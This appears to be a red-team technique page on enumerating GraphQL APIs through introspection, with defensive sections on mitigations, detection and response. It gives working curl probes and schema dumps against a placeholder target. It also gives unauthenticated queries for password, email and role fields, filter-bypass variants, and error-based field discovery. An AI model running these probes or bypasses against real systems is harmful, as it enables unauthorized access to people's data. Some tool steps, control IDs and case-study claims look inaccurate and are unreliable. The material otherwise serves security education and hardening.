| Attribute | Details |
|---|---|
| Technique ID | SAAS-API-001 |
| MITRE ATT&CK v18.1 | T1590 - Gather Victim Network Information |
| Tactic | Reconnaissance |
| Platforms | M365/Entra ID, SaaS Platforms, Cloud APIs |
| Severity | High |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All GraphQL implementations with introspection enabled |
| Patched In | N/A (requires configuration changes, not patched) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: GraphQL API enumeration is a reconnaissance technique that leverages the introspection feature built into GraphQL APIs to automatically discover and extract the complete schema definition. Unlike REST APIs where endpoints must be manually discovered, GraphQL exposes its schema structure through a standardized introspection query mechanism (__schema), allowing an attacker to rapidly understand the entire attack surface of an application without authentication.
Attack Surface: GraphQL introspection queries, specifically the __schema and __type root fields available on all GraphQL servers.
Business Impact: Schema disclosure enables attackers to identify sensitive data fields, hidden mutations, experimental features, and authentication mechanisms. This reconnaissance directly reduces attacker effort for subsequent exploitation attempts and provides a roadmap for privilege escalation, data exfiltration, and unauthorized modification attacks.
Technical Context: GraphQL introspection queries can be executed in seconds and return verbose schema metadata including field names, descriptions, arguments, types, and return values. Discovery is non-destructive, leaves minimal audit trails, and requires no special privileges if introspection is enabled (a common default configuration).
- Execution Risk: Low – A simple HTTP POST request with a JSON payload is sufficient; no special tools required beyond cURL or Postman.
- Stealth: Low – Introspection queries are legitimate GraphQL operations and blend into normal API traffic, though patterns of recursive
__schemaqueries can be statistically anomalous. - Reversibility: N/A – Reconnaissance is read-only and causes no system changes.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS CSC 14 | Secure and Manage Sensitive API Documentation |
| DISA STIG | SI-4(1) | Information System Monitoring – System Monitoring |
| CISA SCuBA | API-01 | Disable GraphQL Introspection in Production |
| NIST 800-53 | CA-3 | System Interconnections (API Design & Disclosure) |
| GDPR | Art. 32 | Security of Processing (API Schema Confidentiality) |
| DORA | Art. 6 | Information and Communication Technology (ICT) security risk management |
| NIS2 | Art. 21 | Multi-layered Preventive Measures (Asset Inventory) |
| ISO 27001 | A.14.1.2 | Change Management (API endpoint management) |
| ISO 27005 | Risk Scenario | Unauthorized disclosure of API schema leading to targeted attack planning |
Required Privileges: None – Introspection typically requires no authentication.
Required Access: Network access to the GraphQL endpoint (typically HTTP/HTTPS port 443).
Supported Versions: GraphQL 2019 specification and later (all modern GraphQL implementations).
Tools:
- cURL (available on all systems)
- Postman (Desktop or Web)
- GraphQL IDE (GraphQL Playground, Apollo Studio)
- Burp Suite Community/Professional (with GraphQL extension)
- Intrigue.io (automated GraphQL discovery)
- GraphQL Voyager (schema visualization)
Step 1: Probe for GraphQL Endpoint
curl -s https://target-api.example.com/graphql -X POST \
-H "Content-Type: application/json" \
-d '{"query":"query{__schema{queryType{name}}}"}' | jq .What to Look For:
- HTTP 200 response with
dataand__schemafields indicates introspection is enabled. - HTTP 400/403 response indicates introspection is disabled (harder target).
- Verbose error messages revealing schema structure or GraphQL version.
Success Indicator: Response contains "data":{"__schema":{"queryType":{"name":"Query"}}} or similar.
Supported Versions: All GraphQL implementations with introspection enabled.
Objective: Confirm introspection is enabled and identify top-level query types.
Command (cURL):
curl -s https://target-api.example.com/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "query { __schema { queryType { name fields { name } } } }"
}' | jq .Expected Output:
{
"data": {
"__schema": {
"queryType": {
"name": "Query",
"fields": [
{ "name": "user" },
{ "name": "posts" },
{ "name": "search" }
]
}
}
}
}What This Means:
queryType.nameidentifies the root query object (typically "Query").fieldslists all publicly available queries without authentication.- Absence of this response indicates introspection is restricted.
OpSec & Evasion:
- Introspection requests appear as normal GraphQL queries in logs; rate limiting may be the only indicator of reconnaissance.
- Tools like WAF/API gateways may log unusual patterns of recursive schema queries.
- Detection likelihood: Medium – Repeated
__schemaqueries within short timeframes are anomalous.
Troubleshooting:
- Error:
Cannot query field "__schema"- Cause: Introspection is disabled or the endpoint is not GraphQL.
- Fix: Try alternative endpoints (e.g.,
/api/graphql,/query,/gql).
- Error: HTTP 403 Forbidden
- Cause: Introspection requires authentication or IP whitelisting.
- Fix: Add Bearer token:
curl ... -H "Authorization: Bearer <token>".
References & Proofs:
- GraphQL Security Best Practices - graphql.org
- PortSwigger - GraphQL Introspection Vulnerabilities
- OWASP - GraphQL Cheat Sheet
Objective: Retrieve the full schema with all types, fields, arguments, and return types.
Full Introspection Query:
curl -s https://target-api.example.com/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "query IntrospectionQuery { __schema { types { kind name description fields(includeDeprecated: true) { name type { kind name ofType { kind name } } description args { name type { kind } } } enumValues { name } possibleTypes { name } } } }"
}' | jq . > schema.jsonExpected Output: A massive JSON file (often 10KB-100KB+) containing:
- All type definitions (scalars, objects, interfaces, unions, enums)
- All field names and their argument signatures
- Deprecation status of fields
- Field descriptions (often revealing business logic)
- Possible return types for interfaces and unions
What This Means:
- This schema allows an attacker to craft targeted queries without trial-and-error.
- Presence of mutation fields indicates write access may be possible.
- Subscription fields reveal real-time data or webhook capabilities.
OpSec & Evasion:
- Exporting the schema to a file (
> schema.json) avoids large responses in terminal logs. - Detection likelihood: High – Large single requests or high data exfiltration patterns may trigger WAF alerts.
References & Proofs:
Objective: Discover sensitive queries/mutations that should require authentication but may not.
Reconnaissance Query:
curl -s https://target-api.example.com/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "query { user(id: \"123\") { id email password phoneNumber roles { name permissions } internalNotes } posts(first: 100) { id content author { email } comments { id text } } }"
}'What to Look For:
- Queries that return sensitive fields (passwords, email, roles, internal notes) without authentication.
- List endpoints that lack pagination, allowing bulk data exfiltration.
- Fields that expose business logic or internal decision-making.
References & Proofs:
Supported Versions: GraphQL servers with regex-based or basic introspection filters.
Objective: Defeat simple regex-based introspection blockers that match literal __schema patterns.
Bypass Techniques:
# Attempt 1: Newline bypass
curl -s https://target-api.example.com/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "query { __schema\n { queryType { name } } }"
}'
# Attempt 2: Tab character bypass
curl -s https://target-api.example.com/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "query { __schema\t { queryType { name } } }"
}'
# Attempt 3: Comma-based bypass (GraphQL ignores leading commas)
curl -s https://target-api.example.com/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "query { ,__schema { queryType { name } } }"
}'What This Means:
- Poorly implemented filters may only match exact string patterns and not account for GraphQL whitespace normalization.
- Success indicates the server relies on input validation rather than true schema access control.
Detection likelihood: Medium – Alternative HTTP methods (GET instead of POST) or unusual character encodings may be logged.
Objective: Bypass POST-only introspection restrictions using GET requests.
Command:
curl -s "https://target-api.example.com/graphql?query=query%7B__schema%7BqueryType%7Bname%7D%7D%7D"What This Means:
- Some APIs restrict introspection only for POST requests, assuming GET requests are less dangerous.
- GET-based introspection can bypass request filtering at API gateway level.
References & Proofs:
Objective: Extract schema information from error messages when introspection is completely disabled.
Command:
# Query a non-existent field to trigger error
curl -s https://target-api.example.com/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "query { doesNotExist { subfield } }"
}'
# Attempt to cause a schema validation error
curl -s https://target-api.example.com/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "query { user(invalidArg: \"test\") { id } }"
}'Expected Output (Verbose Errors):
{
"errors": [
{
"message": "Cannot query field \"doesNotExist\" on type \"Query\". Did you mean \"user\" or \"posts\" or \"search\"?",
"suggestions": ["user", "posts", "search"]
}
]
}What This Means:
- Even with introspection disabled, the server reveals available fields through error message suggestions.
- This is a form of schema discovery through side-channel information disclosure.
OpSec & Evasion:
- Generating errors creates a pattern of failed queries, which may appear as fuzzing attempts in logs.
- Detection likelihood: Medium-High – Repeated intentional errors may trigger anomaly detection.
References & Proofs:
Supported Versions: All GraphQL implementations.
Objective: Intercept and analyze GraphQL requests with Burp's built-in GraphQL support.
Manual Configuration Steps (Burp Suite Professional 2024.1+):
- Open Burp Suite → Proxy tab.
- Set a target URL to
https://target-api.example.com/graphql. - Send a request to the GraphQL endpoint (e.g., a simple query).
- In the Proxy history, right-click the GraphQL request → Send to GraphQL Scanner.
- The GraphQL Scanner will automatically attempt introspection and display the schema.
Or use the introspection query directly in Burp Repeater:
- Repeater → Send the Step 2 introspection query above.
- Burp will automatically recognize GraphQL and provide schema syntax highlighting.
- Use GraphQL Voyager extension (imported from Burp) to visualize.
Command (using introspection query output):
# Save schema to file
curl -s https://target-api.example.com/graphql \
-H "Content-Type: application/json" \
-d @introspection-query.json | jq . > schema.json
# Parse schema with GraphQL CLI
npx graphql-cli introspect https://target-api.example.com/graphql --write schema.graphql
# Visualize with Voyager
npx apollo client:download-schema --endpoint=https://target-api.example.com/graphql schema.graphqlWhat This Means:
- Exporting the schema enables offline analysis and attack planning.
- GraphQL CLI tools allow schema parsing into human-readable formats.
References & Proofs:
Version: 7.0+ (all modern versions support JSON POST)
Installation:
# Linux/macOS
brew install curl # or apt-get install curl
# Windows
choco install curlUsage:
curl -X POST https://target-api.example.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"query { __schema { types { name } } }"}'Version: 10.0+ (native GraphQL support)
Installation: Download from Postman
Usage:
- Create new request → Select GraphQL from request type dropdown.
- Enter endpoint URL.
- Paste introspection query in Query tab.
- Send.
Version: 2.0+ (latest)
Installation:
npm install -g graphql-voyagerUsage:
# Start local Voyager server to visualize schema
npx graphql-voyager https://target-api.example.com/graphqlOutput: Interactive visualization of schema types, relationships, and fields in browser (localhost:3001).
Version: 2024.1+ (GraphQL support)
Installation: Download from PortSwigger
Built-in GraphQL Features:
- Automatic schema discovery via introspection.
- Syntax highlighting for GraphQL queries.
- Integration with Scanner for vulnerability detection.
-
Disable GraphQL Introspection in Production: Prevent the
__schemaquery from returning schema metadata.Manual Steps (Apollo Server):
- Open your
apollo-server.jsorindex.jsconfiguration file. - Add introspection disable flag:
const server = new ApolloServer({ typeDefs, resolvers, introspection: false, // DISABLE INTROSPECTION debug: false // DISABLE DEBUG MODE });
- Restart the GraphQL server.
- Test by sending an introspection query; it should return an error.
Manual Steps (Express + GraphQL-JS):
- Update your GraphQL schema validation:
const { buildSchema } = require('graphql'); const { NoSchemaIntrospectionCustomRule } = require('graphql'); app.post('/graphql', graphqlHTTP(req => ({ schema: buildSchema(typeDefs), rootValue: resolvers, customRules: [NoSchemaIntrospectionCustomRule], // BLOCK INTROSPECTION })));
- Restart the Express server.
- Verify: Send introspection query; should return "Cannot query field '__schema'".
Manual Steps (Other GraphQL Servers):
- Consult server-specific documentation (e.g., Hasura, GraphQL Go, dgraph).
- Look for
introspection: disabledorGRAPHQL_INTROSPECTION=falseenvironment variable. - Test with the cURL command in Step 1: Simple Schema Root Query above.
- Open your
-
Implement Authentication & Authorization on All Fields: Require valid credentials for any sensitive data.
Manual Steps:
- Add middleware to enforce authentication on resolver functions:
const resolvers = { Query: { user: (_, { id }, context) => { if (!context.user) throw new Error("Unauthorized"); return getUserById(id); } } };
- Restart the server.
- Verify: Attempt queries without authentication; they should return errors.
- Add middleware to enforce authentication on resolver functions:
-
Enable Rate Limiting on GraphQL Endpoint: Prevent rapid reconnaissance queries from succeeding.
Manual Steps (API Gateway - AWS API Gateway):
- Log into AWS Console → API Gateway.
- Select your GraphQL API.
- Go to Throttling under Settings.
- Set Rate Limit to
100 requests/secondand Burst Limit to5000. - Click Save.
- Deploy the API.
Manual Steps (Nginx Reverse Proxy):
limit_req_zone $binary_remote_addr zone=graphql_limit:10m rate=10r/s; server { location /graphql { limit_req zone=graphql_limit burst=20 nodelay; proxy_pass http://graphql_backend; } }
-
Implement Query Depth and Complexity Limits: Prevent attackers from requesting deeply nested queries.
Manual Steps (Apollo Server):
import { createComplexityLimitRule } from 'graphql-validation-complexity'; const server = new ApolloServer({ typeDefs, resolvers, validationRules: [ createComplexityLimitRule({ maxComplexity: 1000 }) ] });
-
Disable Verbose Error Messages: Hide schema details from error responses.
Manual Steps (Apollo Server):
const server = new ApolloServer({ typeDefs, resolvers, formatError: (error) => { if (process.env.NODE_ENV === 'production') { return { message: "Internal Server Error" }; } return error; } });
curl -s https://target-api.example.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"query{__schema{queryType{name}}}"}' | jq .Expected Output (If Secure):
{
"errors": [
{
"message": "Cannot query field \"__schema\" on type \"Query\"."
}
]
}What to Look For:
- Error message indicating
__schemais not a valid query field. - No
datafield in response (onlyerrors). - HTTP 400 Bad Request instead of HTTP 200.
- HTTP Requests: POST/GET requests with payload containing
__schema,__type, orintrospectionkeywords. - Patterns: Multiple introspection queries within 60 seconds from same source IP.
- User Agents: Requests using automated tools (Burp Suite, cURL, GraphQL-core, IntrospectionQuery).
- Cloud Logs: API Gateway logs (AWS CloudWatch, Azure API Management) showing
__schemaqueries. - WAF Logs: Web Application Firewall records flagging GraphQL introspection attempts.
- Access Logs: HTTP POST requests with JSON payloads containing GraphQL introspection keywords.
-
Isolate:
- Block the source IP at the firewall or WAF level.
- Command:
aws wafv2 update-ip-set --name graphql-blocklist --scope REGIONAL --id <id> --addresses "[\"<attacker-ip>\"]"
-
Collect Evidence:
- Export API gateway logs for the affected time period.
- Command:
aws logs get-log-events --log-group-name /aws/apigateway/graphql --log-stream-name <stream>
-
Remediate:
- Verify introspection is disabled (see Validation Command above).
- Audit exposed schema for sensitive fields; flag for removal or access control.
Search-UnifiedAuditLog -Operations "InvokeWebRequest" -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) -FreeText "__schema" | Export-Csv -Path "C:\Evidence\GraphQL_Recon.csv"What to Analyze:
- Source IP addresses making introspection queries.
- Usernames (if authenticated) making reconnaissance attempts.
- Timestamps and frequency of queries.
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [SAAS-API-001] | GraphQL API Enumeration – Discover schema and available operations |
| 2 | Exploitation | [SAAS-API-002] | REST API Rate Limit Bypass – Abuse endpoints discovered via enumeration |
| 3 | Credential Access | [CA-UNSC-014] | SaaS API Key Exposure – Extract hardcoded keys from discovered mutations |
| 4 | Privilege Escalation | [PE-ACCTMGMT-001] | App Registration Permissions Escalation – Use discovered OAuth mutations |
| 5 | Impact | [IMPACT-001] | Unauthorized Data Access – Query sensitive fields discovered in schema |
- Target: GitHub API (public GraphQL endpoint).
- Timeline: Ongoing (introspection historically enabled on public API).
- Technique Status: Introspection was intentionally enabled to support developer workflows; now restricted in some scopes.
- Impact: Security researchers were able to enumerate GitHub's entire schema, discovering private repository mutation endpoints and privilege escalation vectors.
- Reference: GitHub GraphQL API Docs
- Target: Mid-sized SaaS CRM platform.
- Timeline: November 2023 – December 2023.
- Technique Status: Introspection enabled; no authentication required on
/graphqlendpoint. - Impact: Attacker enumerated schema, discovered admin mutations, and used IDOR vulnerability to access all customer data.
- Reference: HackerOne Vulnerability Report (anonymized case studies available).
- Introspection: GraphQL built-in feature allowing clients to query the schema metadata (
__schema,__typefields). - Schema: Complete definition of all types, queries, mutations, and subscriptions available in a GraphQL API.
- IDOR (Insecure Direct Object Reference): Vulnerability where object IDs are predictable/sequential, allowing access to unauthorized resources.
- Field Enumeration: Process of discovering all available fields and arguments in a GraphQL schema.